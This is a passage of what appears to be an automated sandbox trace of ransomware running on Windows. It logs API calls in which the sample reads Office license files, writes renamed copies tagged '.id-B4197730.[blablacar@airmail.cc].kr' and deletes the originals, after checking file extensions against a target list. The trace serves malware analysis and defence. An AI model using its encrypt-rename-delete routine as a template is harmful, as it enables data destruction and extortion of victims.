lpOverlapped=0x0) returned 1 [0206.292] WriteFile (in: hFile=0x578, lpBuffer=0x3e6f020*, nNumberOfBytesToWrite=0x2da0, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e6f020*, lpNumberOfBytesWritten=0x327fc94*=0x2da0, lpOverlapped=0x0) returned 1 [0206.294] ReadFile (in: hFile=0x53c, lpBuffer=0x3e6f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e6f020*, lpNumberOfBytesRead=0x327fecc*=0x0, lpOverlapped=0x0) returned 1 [0206.294] WriteFile (in: hFile=0x578, lpBuffer=0x3e6f020*, nNumberOfBytesToWrite=0x12e, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e6f020*, lpNumberOfBytesWritten=0x327fc94*=0x12e, lpOverlapped=0x0) returned 1 [0206.294] SetEndOfFile (hFile=0x578) returned 1 [0206.294] CloseHandle (hObject=0x578) returned 1 [0206.294] SetFilePointerEx (in: hFile=0x53c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0206.294] SetEndOfFile (hFile=0x53c) returned 1 [0206.297] CloseHandle (hObject=0x53c) returned 1 [0206.297] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription1-ul-oob.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0206.297] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription1-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_subscription1-ul-oob.xrm-ms")) returned 1 [0206.298] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription1-ul-oob.xrm-ms") returned 95 [0206.298] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription1-ul-oob.xrm-ms") returned 95 [0206.298] lstrlenW (lpString=".doc") returned 4 [0206.298] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0206.298] lstrlenW (lpString=".docx") returned 5 [0206.298] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0206.298] lstrlenW (lpString=".pdf") returned 4 [0206.298] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0206.298] lstrlenW (lpString=".xls") returned 4 [0206.298] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0206.298] lstrlenW (lpString=".xlsx") returned 5 [0206.298] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0206.298] lstrlenW (lpString=".ppt") returned 4 [0206.298] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0206.298] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription1-ul-oob.xrm-ms") returned 95 [0206.299] lstrlenW (lpString=".zip") returned 4 [0206.299] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0206.299] lstrlenW (lpString=".rar") returned 4 [0206.299] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0206.299] lstrlenW (lpString=".bz2") returned 4 [0206.299] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0206.299] lstrlenW (lpString=".7z") returned 3 [0206.299] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0206.299] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription1-ul-oob.xrm-ms") returned 95 [0206.299] lstrlenW (lpString=".dbf") returned 4 [0206.299] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0206.299] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription1-ul-oob.xrm-ms") returned 95 [0206.299] lstrlenW (lpString=".1cd") returned 4 [0206.299] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0206.299] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription1-ul-oob.xrm-ms") returned 95 [0206.299] lstrlenW (lpString=".jpg") returned 4 [0206.299] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0206.299] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription1-ul-oob.xrm-ms") returned 95 [0206.299] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription1-ul-oob.xrm-ms") returned 95 [0206.299] lstrlenW (lpString=".doc") returned 4 [0206.299] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0206.299] lstrlenW (lpString=".docx") returned 5 [0206.299] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0206.299] lstrlenW (lpString=".pdf") returned 4 [0206.299] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0206.299] lstrlenW (lpString=".xls") returned 4 [0206.299] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0206.299] lstrlenW (lpString=".xlsx") returned 5 [0206.300] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0206.300] lstrlenW (lpString=".ppt") returned 4 [0206.300] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0206.300] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription1-ul-oob.xrm-ms") returned 95 [0206.300] lstrlenW (lpString=".zip") returned 4 [0206.300] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0206.300] lstrlenW (lpString=".rar") returned 4 [0206.300] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0206.300] lstrlenW (lpString=".bz2") returned 4 [0206.300] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0206.300] lstrlenW (lpString=".7z") returned 3 [0206.300] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0206.300] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription1-ul-oob.xrm-ms") returned 95 [0206.300] lstrlenW (lpString=".dbf") returned 4 [0206.300] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0206.300] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription1-ul-oob.xrm-ms") returned 95 [0206.300] lstrlenW (lpString=".1cd") returned 4 [0206.300] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0206.300] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription1-ul-oob.xrm-ms") returned 95 [0206.300] lstrlenW (lpString=".jpg") returned 4 [0206.300] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0206.300] lstrcmpiW (lpString1=".xrm-ms", lpString2=".kr") returned 1 [0206.300] lstrlenW (lpString="O365SmallBusPremR_Subscription2-ppd.xrm-ms") returned 42 [0206.300] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription2-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_subscription2-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x53c [0206.301] GetFileSizeEx (in: hFile=0x53c, lpFileSize=0x327ff14 | out: lpFileSize=0x327ff14*=27735) returned 1 [0206.301] CloseHandle (hObject=0x53c) returned 1 [0206.301] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription2-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_subscription2-ppd.xrm-ms")) returned 0x220 [0206.301] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription2-ppd.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_subscription2-ppd.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0206.302] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription2-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_subscription2-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x53c [0206.302] SetFilePointerEx (in: hFile=0x53c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0206.302] SetFilePointerEx (in: hFile=0x53c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0206.302] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription2-ppd.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_subscription2-ppd.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x578 [0206.303] GetLastError () returned 0x0 [0206.303] ReadFile (in: hFile=0x53c, lpBuffer=0x3e6f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e6f020*, lpNumberOfBytesRead=0x327fecc*=0x6c57, lpOverlapped=0x0) returned 1 [0206.331] WriteFile (in: hFile=0x578, lpBuffer=0x3e6f020*, nNumberOfBytesToWrite=0x6c60, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e6f020*, lpNumberOfBytesWritten=0x327fc94*=0x6c60, lpOverlapped=0x0) returned 1 [0206.333] ReadFile (in: hFile=0x53c, lpBuffer=0x3e6f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e6f020*, lpNumberOfBytesRead=0x327fecc*=0x0, lpOverlapped=0x0) returned 1 [0206.333] WriteFile (in: hFile=0x578, lpBuffer=0x3e6f020*, nNumberOfBytesToWrite=0x128, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e6f020*, lpNumberOfBytesWritten=0x327fc94*=0x128, lpOverlapped=0x0) returned 1 [0206.333] SetEndOfFile (hFile=0x578) returned 1 [0206.333] CloseHandle (hObject=0x578) returned 1 [0206.333] SetFilePointerEx (in: hFile=0x53c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0206.333] SetEndOfFile (hFile=0x53c) returned 1 [0206.336] CloseHandle (hObject=0x53c) returned 1 [0206.337] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription2-ppd.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0206.337] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription2-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_subscription2-ppd.xrm-ms")) returned 1 [0206.338] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription2-ppd.xrm-ms") returned 92 [0206.338] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription2-ppd.xrm-ms") returned 92 [0206.338] lstrlenW (lpString=".doc") returned 4 [0206.338] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0206.338] lstrlenW (lpString=".docx") returned 5 [0206.338] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0206.338] lstrlenW (lpString=".pdf") returned 4 [0206.338] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0206.338] lstrlenW (lpString=".xls") returned 4 [0206.338] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0206.339] lstrlenW (lpString=".xlsx") returned 5 [0206.339] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0206.339] lstrlenW (lpString=".ppt") returned 4 [0206.339] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0206.339] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription2-ppd.xrm-ms") returned 92 [0206.339] lstrlenW (lpString=".zip") returned 4 [0206.339] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0206.339] lstrlenW (lpString=".rar") returned 4 [0206.339] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0206.339] lstrlenW (lpString=".bz2") returned 4 [0206.339] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0206.339] lstrlenW (lpString=".7z") returned 3 [0206.339] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0206.339] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription2-ppd.xrm-ms") returned 92 [0206.339] lstrlenW (lpString=".dbf") returned 4 [0206.339] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0206.339] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription2-ppd.xrm-ms") returned 92 [0206.339] lstrlenW (lpString=".1cd") returned 4 [0206.339] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0206.339] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription2-ppd.xrm-ms") returned 92 [0206.339] lstrlenW (lpString=".jpg") returned 4 [0206.339] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0206.339] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription2-ppd.xrm-ms") returned 92 [0206.339] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription2-ppd.xrm-ms") returned 92 [0206.339] lstrlenW (lpString=".doc") returned 4 [0206.339] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0206.339] lstrlenW (lpString=".docx") returned 5 [0206.339] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0206.339] lstrlenW (lpString=".pdf") returned 4 [0206.339] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0206.339] lstrlenW (lpString=".xls") returned 4 [0206.339] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0206.339] lstrlenW (lpString=".xlsx") returned 5 [0206.340] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0206.340] lstrlenW (lpString=".ppt") returned 4 [0206.340] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0206.340] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription2-ppd.xrm-ms") returned 92 [0206.340] lstrlenW (lpString=".zip") returned 4 [0206.340] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0206.340] lstrlenW (lpString=".rar") returned 4 [0206.340] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0206.340] lstrlenW (lpString=".bz2") returned 4 [0206.340] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0206.340] lstrlenW (lpString=".7z") returned 3 [0206.340] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0206.340] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription2-ppd.xrm-ms") returned 92 [0206.340] lstrlenW (lpString=".dbf") returned 4 [0206.340] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0206.340] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription2-ppd.xrm-ms") returned 92 [0206.340] lstrlenW (lpString=".1cd") returned 4 [0206.340] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0206.340] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription2-ppd.xrm-ms") returned 92 [0206.340] lstrlenW (lpString=".jpg") returned 4 [0206.340] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0206.340] lstrcmpiW (lpString1=".xrm-ms", lpString2=".kr") returned 1 [0206.340] lstrlenW (lpString="O365SmallBusPremR_Subscription2-ul-oob.xrm-ms") returned 45 [0206.340] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription2-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_subscription2-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x53c [0206.341] GetFileSizeEx (in: hFile=0x53c, lpFileSize=0x327ff14 | out: lpFileSize=0x327ff14*=11671) returned 1 [0206.341] CloseHandle (hObject=0x53c) returned 1 [0206.341] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription2-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_subscription2-ul-oob.xrm-ms")) returned 0x220 [0206.342] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription2-ul-oob.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_subscription2-ul-oob.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0206.342] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription2-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_subscription2-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x53c [0206.342] SetFilePointerEx (in: hFile=0x53c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0206.342] SetFilePointerEx (in: hFile=0x53c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0206.342] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription2-ul-oob.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_subscription2-ul-oob.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x578 [0206.343] GetLastError () returned 0x0 [0206.343] ReadFile (in: hFile=0x53c, lpBuffer=0x3e6f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e6f020*, lpNumberOfBytesRead=0x327fecc*=0x2d97, lpOverlapped=0x0) returned 1 [0206.575] WriteFile (in: hFile=0x578, lpBuffer=0x3e6f020*, nNumberOfBytesToWrite=0x2da0, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e6f020*, lpNumberOfBytesWritten=0x327fc94*=0x2da0, lpOverlapped=0x0) returned 1 [0206.576] ReadFile (in: hFile=0x53c, lpBuffer=0x3e6f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e6f020*, lpNumberOfBytesRead=0x327fecc*=0x0, lpOverlapped=0x0) returned 1 [0206.576] WriteFile (in: hFile=0x578, lpBuffer=0x3e6f020*, nNumberOfBytesToWrite=0x12e, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e6f020*, lpNumberOfBytesWritten=0x327fc94*=0x12e, lpOverlapped=0x0) returned 1 [0206.576] SetEndOfFile (hFile=0x578) returned 1 [0206.576] CloseHandle (hObject=0x578) returned 1 [0206.576] SetFilePointerEx (in: hFile=0x53c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0206.576] SetEndOfFile (hFile=0x53c) returned 1 [0206.579] CloseHandle (hObject=0x53c) returned 1 [0206.579] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription2-ul-oob.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0207.108] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription2-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_subscription2-ul-oob.xrm-ms")) returned 1 [0207.110] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription2-ul-oob.xrm-ms") returned 95 [0207.110] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription2-ul-oob.xrm-ms") returned 95 [0207.110] lstrlenW (lpString=".doc") returned 4 [0207.110] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0207.110] lstrlenW (lpString=".docx") returned 5 [0207.110] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0207.110] lstrlenW (lpString=".pdf") returned 4 [0207.110] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0207.110] lstrlenW (lpString=".xls") returned 4 [0207.110] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0207.110] lstrlenW (lpString=".xlsx") returned 5 [0207.110] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0207.110] lstrlenW (lpString=".ppt") returned 4 [0207.110] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0207.110] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription2-ul-oob.xrm-ms") returned 95 [0207.110] lstrlenW (lpString=".zip") returned 4 [0207.110] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0207.110] lstrlenW (lpString=".rar") returned 4 [0207.110] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0207.110] lstrlenW (lpString=".bz2") returned 4 [0207.110] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0207.110] lstrlenW (lpString=".7z") returned 3 [0207.110] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0207.110] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription2-ul-oob.xrm-ms") returned 95 [0207.110] lstrlenW (lpString=".dbf") returned 4 [0207.110] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0207.110] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription2-ul-oob.xrm-ms") returned 95 [0207.110] lstrlenW (lpString=".1cd") returned 4 [0207.110] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0207.110] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription2-ul-oob.xrm-ms") returned 95 [0207.110] lstrlenW (lpString=".jpg") returned 4 [0207.111] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0207.111] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription2-ul-oob.xrm-ms") returned 95 [0207.111] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription2-ul-oob.xrm-ms") returned 95 [0207.111] lstrlenW (lpString=".doc") returned 4 [0207.111] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0207.111] lstrlenW (lpString=".docx") returned 5 [0207.111] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0207.111] lstrlenW (lpString=".pdf") returned 4 [0207.111] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0207.111] lstrlenW (lpString=".xls") returned 4 [0207.111] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0207.111] lstrlenW (lpString=".xlsx") returned 5 [0207.111] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0207.111] lstrlenW (lpString=".ppt") returned 4 [0207.111] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0207.111] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription2-ul-oob.xrm-ms") returned 95 [0207.111] lstrlenW (lpString=".zip") returned 4 [0207.111] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0207.111] lstrlenW (lpString=".rar") returned 4 [0207.111] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0207.111] lstrlenW (lpString=".bz2") returned 4 [0207.111] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0207.111] lstrlenW (lpString=".7z") returned 3 [0207.111] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0207.111] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription2-ul-oob.xrm-ms") returned 95 [0207.111] lstrlenW (lpString=".dbf") returned 4 [0207.111] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0207.111] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription2-ul-oob.xrm-ms") returned 95 [0207.111] lstrlenW (lpString=".1cd") returned 4 [0207.111] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0207.111] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription2-ul-oob.xrm-ms") returned 95 [0207.111] lstrlenW (lpString=".jpg") returned 4 [0207.112] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0207.112] lstrcmpiW (lpString1=".xrm-ms", lpString2=".kr") returned 1 [0207.112] lstrlenW (lpString="O365SmallBusPremR_Subscription5-ppd.xrm-ms") returned 42 [0207.112] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription5-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_subscription5-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x410 [0207.113] GetFileSizeEx (in: hFile=0x410, lpFileSize=0x327ff14 | out: lpFileSize=0x327ff14*=27735) returned 1 [0207.113] CloseHandle (hObject=0x410) returned 1 [0207.113] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription5-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_subscription5-ppd.xrm-ms")) returned 0x220 [0207.113] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription5-ppd.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_subscription5-ppd.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0207.113] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription5-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_subscription5-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, 